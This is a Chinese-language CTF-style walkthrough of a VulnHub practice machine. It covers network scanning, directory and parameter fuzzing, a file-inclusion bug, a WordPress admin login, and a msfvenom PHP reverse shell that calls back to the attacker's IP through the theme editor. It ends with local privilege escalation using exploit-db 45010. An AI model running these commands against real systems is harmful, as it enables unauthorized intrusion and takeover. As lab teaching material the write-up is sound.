本文需要用到的靶机等软件资料
链接: https://pan.baidu.com/s/1JvSMIL-Uu_JtzRftj-P3Fg?pwd=vv95 提取码: vv95 复制这段内容后打开百度网盘手机App,操作更方便哦
1.漏洞靶机网站https://www.vulnhub.com/
它就像是一个这种漏洞靶机的一个超市一样,也就是说这个里面我们随便点进去看一个,它全部都是那些个人作者提交提交的一个漏洞的靶机,他设计了这样这样的一台操作系统,里面有漏洞,你只要把它下载下来,用你的虚拟机软件打开导入开机好,就得到了这样的一个场景,一个环境,然后就可以去练习了。这个平台它也是kali的这家公司,推出的
把它下载下来,好然后这种ova的文件呢,我们用虚拟机文件打开,打开这种ova的文件,它就会自动执行导入,如果是压缩包的,解压出来有VMX呢,同样的我也直接去打开好,那就得到了,那我们今天的这个靶机就是这样的
打开靶机提示错误:无法连接虚拟设备 sata0:1,因为主机上没有相应的设备 直接百度即可
你进编辑虚拟机设置–选中硬盘–点高级–在 虚拟机设备节点中选sata0:1就行了
电脑打开VMware虚拟机出现VMware workstation不可恢复错误mks的原因及解决方法
而在虚拟机设置中的显示器设置找到加速3D图形选项,并取消其勾选即可
正常打开后
那我们的该攻击肌和我们的靶机呢
1.获得ip
查看虚拟机ip:
我怎么去获得这一台把机的IP呢,注意啊,它是跟你的网络环境是有关系的,比如说你在没有对它的网络模式进行修改的时候的,默认的这个网络模式叫做net模式是吧,网络地址转换这个叫做net,那么我电脑上面的这个net的网段是多少呢,编辑虚拟网络编辑器里面可以看得到
我的ne的网段是192.168.85.
其实这这个这种模式下面的所有的靶机呢,都是从1到255去分配IP
现在需要去确定最后一位具体是多少,范围是1-255
也就是说其实我只要用一个类似于这种网络扫描器的东西,去把一到255的这个IP全部去探测一遍,看看有哪一些IP是启动的,已经使用的,那不就定下来了吗
现在用kali的攻击机,去扫一下这个网段。
网络工具namp,用法详解:NMap使用技巧总结https://www.51yhyh.com/14691
现在使用namp ping扫描
/24意思好像是24位设置吧,具体百度
也可以用arp scan
这个扫起来更快
还有一个netdiscover
结果出来了
1,2, 254 等,你全部都这种非常小的和非常大的IP,你全部都忽略掉,因为这个很有可能就是我们的网卡,或者虚拟机本身的一个地址
排除掉之后就剩2台了,在排除我kali的ip,就剩一个了。
现在可知192.168.85.129是这台靶机的IP地址
2.获取靶机上运行了什么服务
用端口扫描,因为符合和端口基本都是一一对应的。查看☞常见端口相关内容
,但是那么扫服务又怎么扫呢,我们知道端口号的范围是一到65535,那同样的思路,我把这个一到65535的端口全部都去连一遍不就行了,那这个当然也一定要交给工具去做
指定端口号的范围是1到65535,为什么我要写这个呢,因为如果你不写的话,它就只扫常用的1000个端口,那我的这个漏洞分析就做的不是那么的全面了是吧,我要做全面一点好
结果出来了
共2个端口,一个22端口,一个80端口
80端口我们把它叫做HTTP的端口是吧,HTTP其实就是我们说的那个web web各种各样的漏洞多多的不得了是不是,OK,所以呢,我们一般是从这个80端口入手,
于是我们去访问一下,其实浏览器里面不带端口号访问就给你默认80端口
现在我们应该怎么做呢:
,这里大家知道,其实当我们在浏览器里面输入这个东西的时候,我们刚才说第一个它帮你补充了默认的80零端口是吧,第二个其实它还有一个默认的文件,我们在浏览器里面去访问一个东西的时候呢,除非是那些动态的网站,对于静态的网站来说,它一定是访问到了某一个文件是吧.index.php
http://192.168.85.129:80/index.php
补全上这个以后依然正常访问,说明没错。
比如拼接一个config.php,结果404,所以没有。我们现在就开始工具扫描
通过在这个根目录名字后面在在它的URL里面去拼接文件或者目录的名字,然后去扫描探测它的服务器上面到底有什么文件,那么能够理解目录扫描
3.目录扫描
用字典,目录字典扫描
工具:Dirb, 御剑(这个windows的工具)
kali自带有dirb工具和字典
查看dirb工具
直接用扫
可以看到这是他用的kaili的字典
而且工具发起访问的速度特别的快,它有多线程对不对
现在我们来看结果
我们分析可以看到2个有价值文件
http://192.168.85.129/dev 这个有点像dev我好像是那个d development的一个缩写,怀疑有开发环境源码
http://192.168.85.129/wordpress/ 说明有一个wordpress
其他都是关于wordpress的展开
结果dev是靶场作者的嘲讽
,那接下来我们得换一个思路了,你刚才这样扫不行的话,我还,我还有别的,还有别的扫描的方式吗
我们刚才去查看这个Dirb的选项的时候呢,最后有一个杠X,就是我我现在能不能只关注某一些特定的扩展名单,比如说,一个服务器上面比较敏感的东西是哪家TP有没有可能有留下一些,比如有有一些手贱的人把密码写进去了,传到了服务器里面是吧,PHP有没有可能是他服务器的配置文件,把它的数据库的账号密码这些,写在里面了是吧.等等
发现新货
http://192.168.85.129/secret.txt和 image.php
并打开
是作者嘲讽和提示:
OSCP其实是kali这个公司推出了一个认证,我们国国内大陆不是特别的流行,但是呢,我我有在香港的,还有在美国其他地区的这些学生,他们都会去考这个
按提示打开工具 https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
什么是Fuzz 类似模糊测试
渗透测试里面 Fuzz技术
回到他的工具提示
COMMNAD = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt –hc 404 http://website.com/secret.php?FUZZ=something
提示他叫我用一个FUZZ去占位代替那个参数的位置,后面的东西呢,Something,Something,你可以先随便写好,那前面呢,我们给它来一个,然后给他指定一个字典就行了
解释一下,我指定一个字典,这个字典的意思是什么呢,那这个就叫做一个参数字典了,它的意思就是会把这个文档里面的那些一个一个的参数名,替代这个填充填充符FUZZ,然后去发起访问
直接报警告不工作了,
字典里面有951个词。重试一下就好了,也可以多开一个新的kali去跑命令
response :就是http状态
linw :响应行数 chars 字符数
插一句用xshell好处:可以打中文,可以很方便的躲开窗口,上下传文件方便,可以直接把文件拖动上传
问题来了:每一个测试的这个参数值的,结果都告诉我了,但是我怎么去找到那一个可能有有可能正确的呢,同学们有没有有没有思路能给我的900多个参数,你总不可能告诉我从头到尾三项去去找找哪一个谁的这个旋状态码或者行数,或者单词数字符数跟别人不一样,这还是900多个呢,如果是9000多个呢,你怎么去找好,那这里就要用到我们刚才说的那个,fuzz的过滤的,那个参数了,
过滤的参数可以去屏蔽指定的行数,词数呀,字符数,也就是说如果一你把大部分一样的都屏蔽掉了,只要有一个人跟别人不一样,他就会被留下来好吧
那我把12个词的全部屏蔽,或者七行的全部都屏蔽,我看看有没有幸存者,那不就行了吗,就这么简单
比如屏蔽12词的
结果出来了留下一个结果 file
说明有一个参数是
http://192.168.85.129/index.php?file=xxx
那接下来我要去找一个什么,这个参数给人感觉是一个文件访问漏洞。去哪里找文件名呢。比如/etc/passwd
我们试一下
果然,他是一个访问文件的接口,但是他告诉我,这个文件错了。突然想到之前找道德提示
Location.txt
那我们去访问一下
果然又有提示了。给了一个正确的参数,在其他的php执行。据我们之前扫的php文件只有index.php和img.php
我们替换挨次尝试
访问之后说我参数对了,
但是我现在又遇到了一个问题,你给我的这个参数是什么意思咯,我为什么要去拿到这个参数,是不是啊,这后面我到底应该给他一个什么东西呢
我觉得到了现在,才是把同学们刚才那个思路用上的一个时候了,我不是去弄一个字典吧,我虽然不知道他他可以访问什么东西,我去弄一个字典,,那我就试嘛,说说干就干,我把这个文件加上,来我们看看
果然得到一个像操作系统密码存储文件
看到这个文件对我来说又有什么用呢,因为每一个Linux操作系统都有这么一个文件,对吧,包括这个,开立的操作系统,它也有这个文件,没什么稀奇的是不是
但是要认真仔细一点,我们在任何时候收集到的信息呢,有的都可能成为一个关键
我似乎看到了一个,很熟悉的东西,我不知道同学们你们看到没有,这个东西这句话我好像在哪里见过
那这下我我懂了,我瞬间就懂了,其实它的意思就是,他让我去找这个目录下面的这个,Password text的这个文件是不是
去找这个东西,我找他,我我怎么找呢,我用什么方式呢,不用担心,因为我现在已经有了一个,任意文件访问的一个漏洞了
只有这个follow_the_ippsec 肯定就是密码了。
什么密码呢,操作系统的密码行不行,来我们来试着登录一下,我现在输入这个内容,按回车,不好意思,我我发现我被他骗了,他叫我去这个目录下面去找这个东西,我还真找到了,找到了真有一个密码,但是我拿过来登录的时候呢,
我发现他欺骗了我,不行,不是这个意思,对不对,被他欺骗了,所以呢,我们,可以说,辛辛苦苦了大半辈子,然后一夜又回解放前
也就是我在里面做的所有的事情,好像都没有意义了,是不是不用担心,这个时候我们又得回过头去看看我们是不是哪里走岔了,走岔路了,这里是不是我们找到的第一个资产对吧,其实这里还有一个word press的网站呢,这个东西有用的吧,对不对,好,我们不要不要气馁,不要灰心,我们来访问一下这个word press
,如果说有用过这个,Word press的这些同学呢,你就知道他他有一个后台管理系统,别人正普通的用户看到的是这个前台,就是你发布的那些文章是吧,实际上我们我们这里呢,我们要登录到后台才可以去发表文章,OK,那么现在我们面临的问题又是,用户名和密码在哪里,用户名和密码在哪里,你先别说,密码我倒是真有一个密码是吧,
那这回我的问题变成了我没有用户名了,用户名去哪里找,其实也简单,我告诉大家,第一个,你看,所有的这个word press的程序呢,在安装完毕以后,它会自己,发布一篇文章自动的,这篇文章都是一样的,就是成可能语言不一样,有中文的有英文的,那么这个用户呢,一定是管理员的用户,就是权限最高的那个用户是吧,按照这样的一个思路,我肯定是可以确定的,他有一个叫做vicror的用户,我点进去,Victor用户呢,他的ID是1.,那我现在自己可以去试的,我可以枚举是吧,当我输入2的时候,他已经,不存在了,很显然他就只有这一个用户,这个用户就是管理员用户是吧
第二种方式呢,我们还可以用一些,扫描word press的这种工具,比如我给同学们介绍一个,用这个
wpscan –url http://192.168.85.129/wordpress/ enumerate u
user的u把他的用户名给枚举出来.等他自己慢慢扫
我们继续用账号密码登录
结果成功登录
,果然登录到后台了是吧,原来我们一直在在其他的网站在前台游荡,现在来到了后台,你要知道,只要进入到了后台,你就肯定能看到一些见不得人的东西,你也可以拥有更高的一个权限,就方便我们去拿下它的它的服务器了
,这个里面的利用方式呢,最最最简单的,当然你就是去找一个上传点,你找一个上传点去上传一个木马文件嘛,或者写入一个木马文件
,针对于这种比较旧的word press的一个版本呢,它有一种特殊的利用方式,它可以直接去修改它的服务器上面的代码文件,那我们就可以把我们的木马写进去了,在哪里呢,在这个地方,外观,主题编辑器
接下来我得去找一个可写的一个可以保存的一个PHP的文件是吧
我也只需要把我的一句话木马,什么叫做一句话木马呢,我们也把它叫做web shell是吧
我通过这样的一个一句话木马,我连接到这个secret的这个文件,我就可以去控制这个网站所在的这个服务器了
但是呢,这种方式不是那么的高级,也不是那么的稳定持久,我想要去弄一个什么呢,我想去弄一个反弹连接
我想要让,这台服务器呢,自己来连我,怎么做得到呢,那如果要是如果要实现这个反弹连接,我们要做两步,一,制作一个木马文件,这个木马文件里面的代码呢,就是去连接攻击者的服务器,的某个端口,好,这是第一步,第二步呢,那么在攻击者的这个服务器,也就是我们的这个开立的操作系统,要去监听,他kali的这某一个端口号是吧,好,那么这样的话,别人去连你的时候,你才能去控制它嘛,这个是我们的反弹连接的一个思路那这两个东西我们怎么来做到呢,第一个怎么去生成木马文件,第二个怎么鉴定这个端口呢,都简单是吧,TCP反弹连接的这个这个代码可以自己写
比如我看看revers,我们可以找到这样的一个代码文件,它就是我在github上面找到的这样的一个反弹连接的代码,那什么意思呢,就是只要我把这个,这个代码贴在这里,好,我把它的这个IP和端口号指定成我运行的一个端口,
第一步,这种反弹连接的木马文件好弄,第二步呢,我们怎么去监听,我直接用neca nc去监听不就行了吗,对不对,这两步我都可以自己去实现但是有没有那种一条龙的服务呢,就是有没有一个软件,
其实有,那没错,这个东西就是MSF
kali里面自带msf.
第一步,怎么去生成一个PHP代码的反弹连接呢
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.85.128 lport=7777 -o shell.php
-p是payload的意思 指定payload的类型
后面是ip和端口 注意ip是你本机kali的ip
php/meterpreter/reverse_tcp是php代码平台的反弹链接的木马
然后我们去查看
复制,注意不要复制最前面的/* 这个是注释
,保存好,现在我就已经在它的服务器上面放置了一个这样的一个木马文件了,第一步,第二步怎么去监听一个7777端口呢,用MSF也特别的简单好大家现在呢.具体参考☞Kali渗透实战训练营(三)漏洞分析利用 这里面有详细用法
下面我们就直接做了
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.85.128 这个ip是你kali本机的IP
set lport 7777
开始监听了,那最后我要做的事情就是,只要我访问了他的服务器上面的那个木马文件,他就会主动的连接到我我的这个端口
,怎么去访问这个点点PHP呢,其实我告诉大家,它的目录格式是固定的..
主题文件夹是放在哪里的呢,它都是一样的,放在哪个目录下面的,在这个wp content下面,
http://192.168.85.129/wordpress/wp-content/themes/twentynineten/secret.php
访问这个链接后 ,链接就建立了
这样的一个,通过MSN提供了一个加密连接通道,它叫做me,在me里面我们可以help看一下,它可以执行非常多的命令,比如如果你做的是一个安卓的木马,或者Windows平台的一个exe的木马呢,它还可以去拍照,获取定位,读取联系人通讯录这些,其实都是通过这个的命令去搞定的,最最最简单的
比如我们get u ID,获得这个用户名是吧,INFo查看操作系统的
也就是说,经过了这么多的努力,现在我已经得到了一个,Linux操作系统的普通用户的权限,
我现在只剩下最后一步了,我的终极目标是什么,是获得那个root权限,控制他的服服务器的完整的所有的资源是不是,我们最后一步,这个叫做什么操作呢,从,Linux,普通用户提升到root用户权限
常见的提权方法有哪些
sudo,也就是说看看这个用户他有没有一些,sudo的,有没有一些修的这个程序是吧,来我们用好
suid,如果有一些程序有S权限,错误的赋予了这个S权限,我们就可以借助这个权限提升到root是吧
操作系统和内核的版本入手,我想看看它有没有存在一些内核漏提权到root
比如我我我想从它的这个,操作系统和内核的版本入手,我想看看它有没有存在一些内核漏洞,直接给我,给我可以提权的,怎么办呢
我得去漏洞数据库里面去搜索一下是吧,怎么搜,在MSF里面有一个叫search split的,这样的一个漏洞数据库,我搜的就是ubuntu
再打开一个kali窗口
有一次启动他的交互终端
msfconsole
searchsploit 16.04 ubuntu
按一下回车,好家伙,还真的,这个16.04,这个发行版本呢,出过这么多漏洞,但是它的内核版本匹配的匹配到4.10的呢,唯独就只有这一个,是吧,好这个我这里是没有打开的,特别特别大哈
全称叫做,不就叫本地权限提升漏洞吗,,并且,他还直接给了我一个攻击武器,就在这个操作系统上面是吧
linux/local/45010.c
,他还直接给了我一个攻击武器,就在这个操作系统上面是吧,好,它放在哪里了呢,我带同学们去看看,他放在了这个开立操作系统这个目录下面,他的名字叫做45010是吧
cd /usr/share/exploitdb/exploits/linux/local
explained DB,它是它是一个网站,他把那个网站里面的那些利用脚本都放到了这个kali的操作系上面,就在这里
当我第一次进入进入到这个目录的时候,差点把我给震惊了,原来这个MS里面自带了这么多的攻击武器是吧,什么PY的,SH的的,Ruby的,还有这种markdown的,Text的,C的,各种攻击脚本它全部都收录了,我们要的45010也在这个里面,好当然这个是一个源代码,也就是说你必须要把它编译一下
有没有这个45010呢
ll命令 – 显示指定文件的详细属性信息。
我问大家一个很很很简单的问题,怎么把这个C的脚本编译成可执行的程序呢
我再把那个文件从他的地址,本来的位置复制到根目录,我不在他的目录下面去弄了好
cp /usr/share/exploitdb/exploits/linux/local/45010.c ./
,它是一个原文件是吧,你看很多同学都知道用GCC
gcc命令 – C/C++语言编译器
把这个C语言的源程序用GCC编译成一个叫做45010的可执行程序
绿色的这个呢,代表它是一个可执行程序
,问题是我在kali上面编辑好了,我怎么把它丢到靶机上面去呢,不用担心,因为我们的这个meterpreter,
一旦你获得了这个连接通道,它就可以帮你上传文件,可以帮你下载文件,OK,所以现在大家看清楚了,我传文件是用这个meterpreter我去传的,我用的命令是你看,
upload /root/45010 /tmp/45010
,把我的kali的root下面的这个文件然后上传到靶机的这个tmp下面去
为什么要传到这个tmp目录下面呢? 因为这个目录是所有人可读写的,
传上去之后,那我们只剩下最后一步了,我要去运行它了,但是这个meterpreter里面它不具备运行程序的一个权限的,所以我们先通过这个shell的命令进入到目标操作系统的那个shell呢,shell我们理解为是,命令解释器是吧,其实Windows的这个CMD呢,
然后为了防止他没有执行权限的话,我再给他加上一个执行权限
我先进入到这个tem里面
怎么给一个程序加上一个可执行的权限呢,这个命令也简单,是吧,chmod +x 45010
然后再查看一下是不是有这个,ls
看到的确有45010这个,然后去执行它
这就是我的最后一步了,我只要按下回车,我就会变成root
用whoami 检测一下。果然成功了。
课后罪业总结:
ip地址是计算机虚拟地址
msf是用ruby语言编写的